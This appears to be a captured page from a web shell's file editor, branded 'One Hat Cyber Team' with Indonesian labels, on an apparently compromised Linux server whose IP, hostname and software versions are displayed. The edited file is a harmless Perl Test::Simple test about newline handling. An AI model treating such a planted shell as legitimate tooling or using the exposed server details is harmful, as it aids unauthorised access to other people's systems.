One Hat Cyber Team
Your IP :
216.73.217.139
Server IP :
162.240.179.46
Server :
Linux vps-14493116.nutrivittasaude.com.br 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
Server Software :
Apache
PHP Version :
8.2.31
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
doc
/
perl-Test-Simple
/
t
/
Legacy
/
Edit File:
strays.t
#!/usr/bin/perl -w # Check that stray newlines in test output are properly handed. BEGIN { print "1..0 # Skip not completed\n"; exit 0; } BEGIN { if( $ENV{PERL_CORE} ) { chdir 't'; @INC = ('../lib', 'lib'); } else { unshift @INC, 't/lib'; } } chdir 't'; use Test::Builder::NoOutput; my $tb = Test::Builder::NoOutput->create; $tb->ok(1, "name\n"); $tb->ok(0, "foo\nbar\nbaz"); $tb->skip("\nmoofer"); $tb->todo_skip("foo\n\n");
Simpan